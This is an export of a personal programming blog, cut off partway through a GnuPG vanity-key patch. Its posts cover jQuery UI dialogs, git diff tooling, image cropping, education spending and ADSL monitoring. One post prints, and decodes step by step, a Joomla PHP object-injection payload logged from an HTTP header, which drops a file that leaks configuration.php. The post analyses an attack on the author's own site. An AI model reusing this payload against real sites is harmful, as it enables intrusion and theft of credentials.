tag:blogger.com,1999:blog-62866089553899517072024-02-19T09:52:14.250+02:00Tales of codeBernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.comBlogger46125tag:blogger.com,1999:blog-6286608955389951707.post-20795269146032638982019-11-04T22:50:00.000+02:002019-11-04T22:50:45.726+02:00Keep jQuery UI Dialog button text in HTML, not in JS initializersIt's long irked me that the jQuery UI Dialog class expects one to specify what text appears on a Dialog's buttons in the options initializer:
<blockquote class="source-code">$('#something').dialog({
buttons: [
{ text: 'Apply', click: function() { /* ... */ } },
{ text: 'Cancel', click: function() { /* ... */ } },
]
});
</blockquote>
This has problems:<br />
<ul>
<li>It's a confusion of responsibilities between View and Controller roles. Specifying button text is very much "View territory", while defining dialog actions belongs to the Controller role.</li>
<li>It obstructs internationalization. If one now wanted a German version of the web app, it wouldn't be enough simply to translate everything in the HTML body. One would have to also maintain multiple versions of the page scripts, one for each (natural) language.</li>
</ul>
<blockquote class="source-code"> $('#something').dialog({
buttons: [
{ text: '<strong>Anwenden</strong>', click: function() { /* ... */ } },
{ text: '<strong>Abbrechen</strong>', click: function() { /* ... */ } },
]
});
</blockquote>
Yuk.
<blockquote>All problems in computer science can be solved by another level of indirection.
<footer>- David Wheeler</footer></blockquote>
I figured out a way to separate concerns by (ab)using a button's <code>class</code> attribute. Inside the dialog-defining HTML, I explicitly list the buttons in a container marked as being of <code>class</code> <code>translatable-buttons</code>:<br />
<blockquote class="source-code"><div class="translatable-buttons">
<button class="translatable-apply" type="button">Apply</button>
<button class="translatable-delete" type="button">Delete</button>
<button class="translatable-cancel" type="button">Cancel</button>
</div>
</blockquote>
These explicitly marked-up buttons shouldn't be shown in the dialog though, since jQuery UI wants to add the dialog's buttons itself, so apply some CSS:
<blockquote class="source-code">.translatable-buttons {
display: none;
}
</blockquote>
Buttons have to do something when pressed:
<blockquote class="source-code"> var buttonspecs = {
'translatable-apply': {
click: function() {},
},
'translatable-delete': {
click: function() {},
},
'translatable-cancel': {
click: function() {},
},
};
</blockquote>
And finally jQuery UI needs to see this in a language it can understand, so a bit of list processing glues it all together:
<blockquote class="source-code"> var buttons = [];
// Grab button text from HTML and add it as a text: property.
$.each(buttonspecs, function(i, buttonspec) {
buttons.push($.extend({}, buttonspec, { text: $('.translatable-buttons button.'+i, speciesdialog).text() }));
});
var speciesdialog = $('#speciesdialog').dialog({
buttons: buttons,
});
</blockquote>
The key is to define the behaviours in the page script and link it to an abstract button name, rather than to concrete button text. This is the purpose for the <code>translatable-apply</code> etc. keys in the <code>buttonspecs</code> object. The <code>$.each</code> call then merges these button behaviours with the button text read from the DOM and concatenates all the results into the <code>buttons</code> array.<br />
<br />
The excerpts shown here are from my <a href="http://www.bpj-code.co.za/chemistry.html">chemistry calculator</a>, in the K<sub>eq</sub> section. Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com1tag:blogger.com,1999:blog-6286608955389951707.post-8375652209182765832016-07-07T15:04:00.000+02:002016-07-07T15:04:07.359+02:00Server break-in attemptsOn my website I log all the HTTP request headers to a file, and today I noticed an interesting bit:<br />
<blockquote class="program-output">
[HTTP_X_FORWARDED_FOR] => }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:2397:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(56).chr(56).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(74).chr(72).chr(77).chr(103).chr(80).chr(83).chr(82).chr(102).chr(85).chr(48).chr(86).chr(83).chr(86).chr(107).chr(86).chr(83).chr(87).chr(121).chr(100).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(102).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(79).chr(121).chr(82).chr(106).chr(80).chr(87).chr(74).chr(104).chr(99).chr(50).chr(85).chr(50).chr(78).chr(70).chr(57).chr(108).chr(98).chr(109).chr(78).chr(118).chr(90).chr(71).chr(85).chr(111).chr(90).chr(109).chr(108).chr(115).chr(90).chr(86).chr(57).chr(110).chr(90).chr(88).chr(82).chr(102).chr(89).chr(50).chr(57).chr(117).chr(100).chr(71).chr(86).chr(117).chr(100).chr(72).chr(77).chr(111).chr(74).chr(50).chr(78).chr(118).chr(98).chr(109).chr(90).chr(112).chr(90).chr(51).chr(86).chr(121).chr(89).chr(88).chr(82).chr(112).chr(98).chr(50).chr(52).chr(117).chr(99).chr(71).chr(104).chr(119).chr(74).chr(121).chr(107).chr(112).chr(79).chr(50).chr(86).chr(106).chr(97).chr(71).chr(56).chr(103).chr(74).chr(72).chr(77).chr(103).chr(76).chr(105).chr(65).chr(105).chr(73).chr(67).chr(73).chr(103).chr(76).chr(105).chr(65).chr(107).chr(89).chr(122).chr(116).chr(49).chr(98).chr(109).chr(120).chr(112).chr(98).chr(109).chr(115).chr(111).chr(74).chr(70).chr(57).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(98).chr(74).chr(49).chr(78).chr(68).chr(85).chr(107).chr(108).chr(81).chr(86).chr(70).chr(57).chr(71).chr(83).chr(85).chr(120).chr(70).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(75).chr(84).chr(115).chr(47).chr(80).chr(103).chr(61).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}<F0><FD><FD><FD>
</blockquote>
<br />
That looks a bit fishy, a bit like a PHP equivalent of an SQL injection attack. Notice the closing curly brace - clearly intended to break out of some parser and inject some unexpected data-code.<br />
<br />
What does that chr()-encoded string contain?<br />
<blockquote class="program-output">
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/88.php',base64_decode('PD9waHAgJHMgPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyRjPWJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJ2NvbmZpZ3VyYXRpb24ucGhwJykpO2VjaG8gJHMgLiAiICIgLiAkYzt1bmxpbmsoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTs/Pg=='));
</blockquote>
<br />
And in turn that Base64-encoded string is:<br />
<blockquote class="program-output">
<?php $s =$_SERVER['SERVER_NAME'];$c=base64_encode(file_get_contents('configuration.php'));echo $s . " " . $c;unlink($_SERVER['SCRIPT_FILENAME']);?>
</blockquote>
<br />
So that's what they're after - a list of hostnames and the contents of <code>configuration.php</code>.<br />
<br />
Some Internet searching reveals that this is probably <a href="http://cve.circl.lu/cve/CVE-2015-8562">CVE-2015-8562</a>. I'm tempted to record the IP addresses of the clients that attempt these code injections and return them with a fake Joomla configuration on requests for <code>/88.php</code>.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-55397789864857226152016-06-19T02:53:00.000+02:002016-06-19T02:54:15.581+02:00Xchat script for catching flash-in-the-pan usersI've been trying to speak to someone on IRC who is only very sporadically online, and when they are, it's often for less than a minute. They probably just connect, see no activity (in a very short period) and thus leave again. I'm in self-exile from the channel they join, so they don't greet me, which would normally trigger my IRC client's nick catcher that pops up an alert.<br />
<br />
<code>/notify</code> helps me to at least see when they <i>were</i> online, but it doesn't help me catch them while they're still online. Xchat's "Friends" list doesn't pop up an alert, unfortunately. Frustratingly I often check on IRC only to see that they <i>had been</i> online while I was at my computer - just busy doing something else.<br />
<br />
So I wrote an Xchat script to help me out. It's a script that performs an arbitrary command when a matching "Notify Online" event occurs. I've set it to <code>msg</code> myself, which will cause Xchat to pop up an alert, and hopefully I'll notice that while I'm working on my dark web drug marketplace or watching pr0n.<br />
<br />
The script: <a href="http://www.bpj-code.co.za/downloads.php/xchat/blitzchat.pl?text">http://www.bpj-code.co.za/downloads.php/xchat/blitzchat.pl?text</a>Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-447130002568032012016-06-11T01:44:00.000+02:002016-06-11T01:49:01.370+02:00TIL: PNG images can specify an offsetI'm working with a world map that I want to treat as consisting of 20x20 tiles. Because the image is 7964x3980, I need to add 8 pixels on the western and eastern edges. Seems simple enough:<br />
<blockquote class="program-output">
$ convert +append WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png /tmp/threeworlds.png
$ convert -crop 7980x3980+7956+0 /tmp/threeworlds.png world-tiled.png
</blockquote>
<br />
The first command is to replicate the map so that the larger crop window can grab the 8 columns of pixels of the East and paste them west of the West, and the same for the opposite edge of the image.<br />
<br />
Now I thought it would be simple to view a window of this map, scaled down by some integer factor. A degenerate case is to view the whole map, at a 1:1 scaling:<br />
<blockquote class="program-output">
$ convert -crop 7980x3980+0+0 -scale 399x199 world-tiled.png /tmp/wf.png
$ file /tmp/wf.jpeg
/tmp/wf.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, <b>1x199</b>, frames 3
</blockquote>
<br />
<b>WAT</b><br />
<br />
I'm tearing my hair out trying to figure out why world-tiled.png crops this way, but WorldMap-A_non-Frame.png crops exactly as expected when I notice one Internet search result using the <code>-repage</code> argument to <code>convert(1)</code>. Combined with some warnings I saw while flailing about with random geometry specifications:<br />
<blockquote class="program-output">
$ convert world-tiled.png -crop 7900x3900+0+0 /tmp/wf.jpeg
convert: geometry does not contain image `world-tiled.png' @ warning/transform.c/CropImage/674.
</blockquote>
<br />
I start to wonder if there's some metadata in PNG files that <code>file(1)</code> doesn't report, that characterizes the coordinate system reference frame for the pixel data. Indeed, when I load world-tiled.png in GIMP, it prompts me whether I want to keep the image offset or ditch it.<br />
<br />
I ditch the offset of course, let GIMP overwrite the image, and since then my image crops as expected. Side benefit: GIMP seems to compress the image harder, although that may just be a difference in defaults.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-91943724898711363272016-02-05T05:06:00.000+02:002016-02-05T05:06:17.766+02:00Diffs without noiseOver the last year or five I've been on a particular refactoring campaign in my gEDA fork. I'm trying to reduce the number of places where an object's forward and reverse pointers get accessed explicitly. To find all these places, I temporarily renamed these pointer fields to something unique so that I can reliably find and edit all these occurrences at any given time. So my working directory is full of noisy diff hunks like this one:<br />
<br />
<blockquote class="program-output">
@@ -287,9 +287,9 @@ int f_open_flags(TOPLEVEL *toplevel, PAGE *page, const gchar *filename,
o_read(toplevel, page->object_tail, full_filename, &tmp_err);
}
- for (o_current = page->object_tail->next;
+ for (o_current = page->object_tail->next_secret;
o_current != NULL;
- o_current = o_current->next) {
+ o_current = o_current->next_secret) {
/* This would also be a place to emit page signals. */
s_conn_update_object(page, o_current);
o_attrib_init_uuid(toplevel, o_current);
</blockquote>
<br />
When I'm changing some code that doesn't explicitly use these forward and reverse pointers (yet is still required to complete the refactor) I want to see only the diffs from those changes. Without the diff pollution caused by renaming the pointer fields. If only there were a way to canonicalize each side of the diff before comparing them, so as to hide the uninteresting differences... So I wrote a way to do that, using git's external diff tool facility:<br />
<br />
<blockquote class="source-code">
#!/bin/sh
if test $# -ge 7; then
a=`mktemp`
b=`mktemp`
sed "$GIT_DIFF_OPTS" "$2" >$a
sed "$GIT_DIFF_OPTS" "$5" >$b
diff -up --label "$1" --label "$5" $a $b
rm -f $a $b
else
diff -up /dev/null "$1"
fi
true
</blockquote>
<br />
(It isn't very robust to argument errors.) I invoke it like this:<br />
<br />
<code>GIT_DIFF_OPTS='s/_secret//g' GIT_EXTERNAL_DIFF=~/personal-utils/git-diff-sed git diff</code><br />
<br />
Unfortunately diff colouring doesn't happen when using an external diff tool. Otherwise it works like a charm.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com1tag:blogger.com,1999:blog-6286608955389951707.post-80121586615574772872015-10-25T14:22:00.000+02:002015-10-25T14:22:31.594+02:00How much do countries spend on education, per capita?During the recent #FeesMustFall campaign here in South Africa, I wanted to know how much we spend on education, per head, and to compare that figure with other countries' spending. Wikipedia has a <a href="https://en.wikipedia.org/wiki/List_of_countries_by_spending_on_education_%28%25_of_GDP%29">list of spending as a percentage of GDP</a>, and a <a href="https://en.wikipedia.org/wiki/List_of_countries_by_GDP_%28nominal%29_per_capita">list of countries by GDP per capita</a>, but I didn't find one of spending on education, per capita.<br />
<br />
Multiplying the values from each list (I took the UN values for GDP) gave me the result I wanted. I did this with <a href="http://www.bpj-code.co.za/downloads.php/education-spending.pl?text">a little Perl script</a> that started off as an attempted one-liner at the shell prompt, but turned out to outgrow that space.<br />
<br />
Some highlights from <a href="http://www.bpj-code.co.za/downloads.php/education-spending.txt?text">the full list</a>:<br />
<br />
<blockquote class="program-output">
1 Monaco: 14216.914
2 Norway: 7043.848
3 Denmark: 4673.838
4 Switzerland: 4412.408
5 Sweden: 3997.356
6 Qatar: 3827.432
...
12 United States: 2881.56
13 Trinidad and Tobago: 2845.44
...
21 United Kingdom: 2333.265
22 Israel: 2224.536
23 Germany: 2029.095
24 Kuwait: 1983.524
...
39 Argentina: 959.4
40 Cuba: 949.96
41 Estonia: 927.744
42 Maldives: 920.64
43 Suriname: 884.34
44 Greece: 870.72
...
54 Poland: 674.24
55 Botswana: 650.768
56 Slovakia: 645.408
57 Costa Rica: 641.655
58 Croatia: 620.54
59 Brazil: 571.149
...
69 Gabon: 385.738
70 Kazakhstan: 382.2
71 Romania: 380.679
72 Colombia: 375.648
73 South Africa: 374.544
74 Antigua and Barbuda: 372.33
75 Namibia: 349.568
...
81 Mauritius: 306.976
82 Tunisia: 302.673
83 Iran: 299.061
...
97 Swaziland: 219.882 (go go go King Mswati! Maybe if you reduce that a bit more you can have a few more virgins!)
...
115 Lesotho: 133.3
...
136 Cameroon: 49.173
137 India: 47.988
138 Zimbabwe: 43.838 (wow Bob, so uplifting of your people - but at least you have your land, right?)
...
167 Somalia: 0.532
</blockquote>
It's a bit depressing. SA's GDP per capita is close to Cuba's, but they significantly outspend us on education. Botswana too, to a lesser degree. I guess we're too busy bailing out delinquent state-owned enterprises that were <i>de rigueur</i> last century. So we "can't afford" to spend more on education. And a fleet of nuclear power stations is just so much sexier than a more productive workforce, right?Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-53553718175638511582015-07-17T06:05:00.001+02:002015-07-17T06:06:31.956+02:00My phone is dead, but ADSL is (barely) upThree weeks ago I got burgled, and the bastards cut my phone line. My permanently temporary fix involved stripping the wire ends and twisting corresponding ends together. It had also rained plenty the two days before the burglary, and usually rain has meant phone line problems. So it was this time; the phone worked a day or two after my repairs, then it died for a few days. Then it worked for another day or two, but then died again, and has stayed that way for the last week plus change. There is <i>nothing</i> on the line as far as my telephone is concerned. No dial tone, no hum, no buzzing, no hiss. If I still had a multimeter I could measure the on-hook voltage between tip and ring, but I now don't, so I can't. Just to be sure I jury-rigged a 1mA meter with a 47kΩ resistor in series to try and measure the voltage, and again, nothing there. The needle didn't even move.<br />
<br />
I'm so glad my ADSL (just about) works though. I really depend on ADSL more than on my telephone, although especially now after the burglary I would have liked to be able to call people to make fire under their arses (I'm looking at you, Hollard / Ooba / 1000 other "partners", it's been three weeks and I've had an army of people come and <i>look</i> at the damage, but the only <i>doing</i> that's happened is what I've done myself).<br />
<br />
Better watch that ADSL then, since it's important. So I wrote <a href="http://www.bpj-code.co.za/downloads.php/adsl-status?text">a script to monitor the ADSL modem's stats</a>. Just some screen-scraping, although I'm sure there's some neat way to do it with SNMP. Add some Gnuplot and I get a nice graph of SNR margins, up and downstream. Red = upstream margin, green = upstream power, the others for downstream.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEherMhcOdB2TP7yhG_MMiFqBGIlh-hN4vvPBchPdVxXnRWFP3Zkoa2ItSzgbb3E5Qec0GfZmfRsEa-IkgaxYQs7ayslO31vDMedQvMGYoS2bzhCVBk3Uot7njQzEdCCyk69HFRY5oKFvRoU/s1600/adsl-vars-20150717.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEherMhcOdB2TP7yhG_MMiFqBGIlh-hN4vvPBchPdVxXnRWFP3Zkoa2ItSzgbb3E5Qec0GfZmfRsEa-IkgaxYQs7ayslO31vDMedQvMGYoS2bzhCVBk3Uot7njQzEdCCyk69HFRY5oKFvRoU/s640/adsl-vars-20150717.png" width="640" /></a></div>
Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com1tag:blogger.com,1999:blog-6286608955389951707.post-22009143599423930462014-12-04T13:39:00.000+02:002014-12-04T13:39:51.191+02:00Faster vanity key mining with GnuPGMy last post described my work making GnuPG look for keys with memorable keyids. It works, but it's slow, presumably because a lot of work gets repeated between each test, and because each test is expensive. With regular expressions and system calls in the mining loop, GnuPG doesn't get to spend much time computing hashes over the generated public key.<br />
<br />
But not anymore! I have a better patch now, that allows GnuPG to spend more time hashing and less time doing things which don't contribute to finding a desired keyid. The kernel / user space context switch is now amortized over millions of hashes, and the loop mining for hashes is tight: nearly all it does now is hashing the public key material.<br />
<br />
<blockquote class="program-output patch">
diff --git a/g10/keygen.c b/g10/keygen.c
index 8c3e9f6..a250914 100644
--- a/g10/keygen.c
+++ b/g10/keygen.c
@@ -19,6 +19,7 @@
*/
#include <config.h>
+#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@@ -120,6 +121,7 @@ struct opaque_data_usage_and_pk {
PKT_public_key *pk;
};
+extern int delta;
static int prefs_initialized = 0;
static byte sym_prefs[MAX_PREFS];
@@ -1424,6 +1453,7 @@ gen_rsa (int algo, unsigned nbits, KBNODE pub_root, KBNODE sec_root, DEK *dek,
STRING2KEY *s2k, PKT_secret_key **ret_sk,
u32 timestamp, u32 expireval, int is_subkey)
{
+ extern int searchmode;
int rc;
PACKET *pkt;
PKT_secret_key *sk;
@@ -1463,7 +1493,37 @@ gen_rsa (int algo, unsigned nbits, KBNODE pub_root, KBNODE sec_root, DEK *dek,
sk = xmalloc_clear( sizeof *sk );
pk = xmalloc_clear( sizeof *pk );
- sk->timestamp = pk->timestamp = timestamp;
+ if (getenv("GNUPG_KEYSEARCH")) {
+ switch (fork()) {
+ int status;
+ case -1:
+ /* Fall back to normal behaviour. */
+ break;
+ case 0:
+ /* Set search mode and continue executing. */
+ searchmode = 1;
+ break;
+ default:
+ wait(&status);
+ log_debug("Child returned %d\n", WEXITSTATUS(status));
+ if (WEXITSTATUS(status)) {
+ /* Can't find a matching key - just continue. */
+ } else {
+ /* Key matches - fudge timestamp. */
+ int fd;
+ fd = open("/tmp/keysearch", O_RDONLY);
+ if (fd != -1) {
+ read(fd, &delta, sizeof (delta));
+ close(fd);
+ log_debug("Continuing with delta=%d\n", delta);
+ } else {
+ log_debug("Couldn't open /tmp/keysearch\n");
+ }
+ }
+ break;
+ }
+ }
+ sk->timestamp = pk->timestamp = timestamp + delta;
sk->version = pk->version = 4;
if (expireval)
{
diff --git a/g10/keyid.c b/g10/keyid.c
index d7a877b..4d5d370 100644
--- a/g10/keyid.c
+++ b/g10/keyid.c
@@ -19,6 +19,7 @@
*/
#include <config.h>
+#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@@ -124,15 +125,63 @@ hash_public_key( gcry_md_hd_t md, PKT_public_key *pk )
}
}
-static gcry_md_hd_t
+int searchmode = 0;
+
+gcry_md_hd_t
do_fingerprint_md( PKT_public_key *pk )
{
gcry_md_hd_t md;
+ int delta;
+ const byte *dp;
+ unsigned char keyid[8];
+ char const *keysearch = getenv("GNUPG_KEYSEARCH");
+ int keysearch_len = keysearch ? strlen(keysearch) : 0;
+ int spread = searchmode && keysearch ? 33554432-1 : 0;
+ u32 original_timestamp = pk->timestamp;
- if (gcry_md_open (&md, DIGEST_ALGO_SHA1, 0))
- BUG ();
- hash_public_key(md,pk);
- gcry_md_final( md );
+ if (searchmode && keysearch) {
+ int i;
+
+ memset(keyid, 0, sizeof (keyid));
+ for (i = 0; i < keysearch_len/2; i++) {
+ sscanf(keysearch + i*2 + keysearch_len%2, "%02hhx", keyid+i);
+ }
+ log_debug("Searching for key fingerprints ending in %02X%02X%02X%02X%02X%02X%02X%02X\n",
+ keyid[0], keyid[1], keyid[2], keyid[3], keyid[4], keyid[5], keyid[6], keyid[7]);
+ }
+ for (delta = -spread; delta <= 0; delta++) {
+ if (gcry_md_open (&md, DIGEST_ALGO_SHA1, 0))
+ BUG ();
+ pk->timestamp = original_timestamp + delta;
+ hash_public_key(md,pk);
+ gcry_md_final( md );
+ if (searchmode && keysearch) {
+ dp = gcry_md_read(md, 0);
+ if (memcmp(dp + 20 - keysearch_len/2, keyid, keysearch_len/2)) {
+ if (delta % 1000000 == 0) {
+ log_debug("Trying delta = %d\n", delta);
+ }
+ } else {
+ int fd;
+ fd = open("/tmp/keysearch", O_CREAT|O_WRONLY, 0666);
+ if (fd == -1) {
+ log_debug("Couldn't open /tmp/keysearch\n");
+ continue;
+ }
+ write(fd, &delta, sizeof (delta));
+ close(fd);
+ log_debug("Found delta = %d\n", delta);
+ exit(0);
+ }
+ gcry_md_close(md);
+ }
+ }
+
+ if (searchmode) {
+ /* Failed to find a matching key. */
+ log_debug("Never found a matching key\n");
+ exit(1);
+ }
return md;
}
</blockquote>
<br />
I now have 0x5EAF00D5 and 0x0B5E55ED, and I'm not sure what else I want to mine. Maybe I'll just stick with <a href="http://test.bpj-code.co.za/downloads.php/bernd.asc?text">0xDEC0DED1</a> for now.Bernd Jendrissekhttp://www.blogger.com/profile/14105959071015403480noreply@blogger.com0tag:blogger.com,1999:blog-6286608955389951707.post-16434660734729051932014-10-25T05:08:00.000+02:002014-10-25T05:08:59.081+02:00OpenPGP vanity keys with a patched GnuPGI'm vain, but also lazy to remember long strings of arbitrary hexadecimal digits. Generating vanity keys for GnuPG would address both needs (wants): a vanity key fingerprint would be meaningful, and therefore more memorable.<br />
<br />
What is a memorable key fingerprint? This is <i>not</i> one:<br />
<blockquote class="program-output">
pub 1024D/0DA1756824EEB426 2001-01-15 [expired: 2006-01-14]
uid Bernd Jendrissek (or owner of this keypair) <Bernd.Jendrissek@mailbox.co.za>
uid Bernd Jendrissek <Bernd.Jendrissek@mailbox.co.za>
</blockquote>
That is one of my old keys, and it happens that I did memorize at least the short-form keyid - but what a nerdy thing to do. And not something I can expect other people to remember - to them it's just an arbitrary hex string, with little personal relevance.<br />
<br />
The obvious solution is to generate a key whose fingerprint carries some meaning, that's easier to remember. A word maybe, spelled in l33tspeak, or some recognizeable number like pi or e (a shibboleth for fellow nerds).<br />
<br />
Something like this:<br />
<blockquote class="program-output">
pub 4096R/FAC02779DEC0DED1 2014-01-21 [expires: 2024-01-19]
uid Bernd Jendrissek
</blockquote>
<br />
That's <a href="http://www.bpj-code.co.za/downloads.php/bernd.asc?text">my now-current key</a> that should have propagated to a keyserver near you.<br />
<br />
By what black magic did I do this? It took me a while to get to a solution that works well enough to find worthwhile vanity keys. At first I just ran <code>gpg</code> in a shell loop, generating keys one by one. But that's ridiculously slow - it generates a whole new key from scratch each time, which exhausts the entropy pool (arguably a bug in GnuPG - <a href="http://www.2uo.de/myths-about-urandom/#experts"><code>/dev/urandom</code> is really good enough</a>) and does a whole bunch of CPU-intensive computing for every key.<br />
<br />
Unfortunately, it takes minutes for standard GnuPG to generate just one key (although most of that is probably in waiting for more entropy). I'd be dead 500 times over before I had a good sampling of word-like key fingerprints. No, I would have to get my hands dirty by patching GnuPG and the libraries it uses. Here's one for libgcrypt:<br />
<blockquote class="program-output patch">
diff --git a/cipher/rsa.c b/cipher/rsa.c
index ccc9f96..319c001 100644
--- a/cipher/rsa.c
+++ b/cipher/rsa.c
@@ -177,6 +177,7 @@ check_exponent (void *arg, gcry_mpi_t a)
* TRANSIENT_KEY: If true, generate the primes using the standard RNG.
* Returns: 2 structures filled with all needed values
*/
+int delta __attribute__((visibility("default")));
static gpg_err_code_t
generate_std (RSA_secret_key *sk, unsigned int nbits, unsigned long use_e,
int transient_key)
@@ -324,6 +328,26 @@ generate_std (RSA_secret_key *sk, unsigned int nbits, unsigned long use_e,
return GPG_ERR_SELFTEST_FAILED;
}
+ if (getenv("LIBGCRYPT_MINE")) {
+ int spread = atoi(getenv("LIBGCRYPT_MINE"));
+ for (delta = -spread; delta <= 0; delta++) {
+ switch (fork()) {
+ case -1:
+ log_debug("failed to fork\n");
+ exit(1);
+ break;
+ case 0:
+ /* Child. */
+ return 0;
+ default:
+ /* Parent. */
+ wait(NULL);
+ break;
+ }
+ }
+ exit(0);
+ }
+
return 0;
}
diff --git a/src/libgcrypt.vers b/src/libgcrypt.vers
index 5a617cc..fd18fc2 100644
--- a/src/libgcrypt.vers
+++ b/src/libgcrypt.vers
@@ -104,6 +104,7 @@ GCRYPT_1.2 {
gcry_mpi_set_ui; gcry_mpi_snew; gcry_mpi_sub; gcry_mpi_sub_ui;
gcry_mpi_subm; gcry_mpi_swap; gcry_mpi_test_bit;
gcry_mpi_lshift;
+delta;
local:
*;
</blockquote>
This bit of code forks the process after it has generated a precious prime pair and exposes a different fudge value (<code>delta</code>) which gets used later in GnuPG proper. Speaking of which:<br />
<blockquote class="program-output patch">
diff --git a/g10/keygen.c b/g10/keygen.c
index 8c3e9f6..64cc2d6 100644
--- a/g10/keygen.c
+++ b/g10/keygen.c
@@ -120,6 +120,7 @@ struct opaque_data_usage_and_pk {
PKT_public_key *pk;
};
+extern int delta;
static int prefs_initialized = 0;
static byte sym_prefs[MAX_PREFS];
@@ -1435,7 +1463,7 @@ gen_rsa (int algo, unsigned nbits, KBNODE pub_root, KBNODE sec_root, DEK *dek,
if (!nbits)
nbits = DEFAULT_STD_KEYSIZE;
- if (nbits < 1024)
+ if (!getenv("GNUPG_MINE") && nbits < 1024) /* XXX I'm not sure if this is important. */
{
nbits = 1024;
log_info (_("keysize invalid; using %u bits\n"), nbits );
@@ -1463,7 +1491,7 @@ gen_rsa (int algo, unsigned nbits, KBNODE pub_root, KBNODE sec_root, DEK *dek,
sk = xmalloc_clear( sizeof *sk );
pk = xmalloc_clear( sizeof *pk );
- sk->timestamp = pk->timestamp = timestamp;
+ sk->timestamp = pk->timestamp = timestamp + delta;
sk->version = pk->version = 4;
if (expireval)
{
@@ -3350,6 +3378,65 @@ start_tree(KBNODE *tree)
delete_kbnode(*tree);
}
+static char const *check_vanity(KBNODE pub_root, char keyid[static 17])
+{
+ PKT_public_key *pk;
+ gcry_md_hd_t md;
+
+ gcry_md_hd_t do_fingerprint_md(PKT_public_key *pk);
+
+ if (pub_root) {
+ pk = find_kbnode (pub_root, PKT_PUBLIC_KEY)->pkt->pkt.public_key;
+ md = do_fingerprint_md(pk);
+ }
+ if (!pub_root || md) {
+ const byte *dp;
+ char const *vanity_patterns[] = {
+ /* Simple repetitions and sequences. */
+ "(.)\\1.*\\1\\1.*\\1\\1",
+ "(.)\\1\\1.*\\1.*(.)\\2\\2|(.)\\1\\1.*(.).*\\2\\2\\2",
+ "(.)\\1\\1\\1$",
+ "123456|234567|345678|456789|56789A|6789AB|789ABC|89ABCD|9ABCDE|ABCDEF",
+ /* Math/physics constants. */
+ "314159|271828|60221|1380[67]|8314[45]|299792|6626[01]|66738|9109[34]|40490FDB|27315",
+ /* Biographical details. */
+ "^(..)*1976|^(..)*760518|^(..)*1805|^(..)*5231080",
+ /* 13375p34k. */
+ "^([05ABCDEF]*[0AE]){2,}[05ABCDEF]*$",
+ "CA5CADE|0DE55A|ACCE55|A55E55|BA0BAB|CA5CADE|DECADE|DEC0DE|D0D0E5|FACADE|0B5E55|5EABED|5EAF00D|5EED",
+ /* Former keys. */
+ "24EEB426|FCDE4B8C|804177F8|AAE76E8E|D7CBA633|D5B8044C|1726CB60",
+ /* Famous words. */
+ "DEADBEEF|C0FFEE",
+ /* ASCII. */
+ "^(2[0DEF]|3[0-9F]|[46].|[57][0-A])*$",
+ "^(..)*[46]2[46]5[57]2[46]e[46]4|[46]2[57]0[46]a|[46]a[46]5[46]e[46]4[57]2[46]9[57]3",
+ NULL
+ };
+ int i;
+ int check_regexp(const char *expr,const char *string, int sanitize);
+
+ if (pub_root) {
+ dp = gcry_md_read(md, 0);
+
+ sprintf(keyid, "%02X%02X%02X%02X%02X%02X%02X%02X",
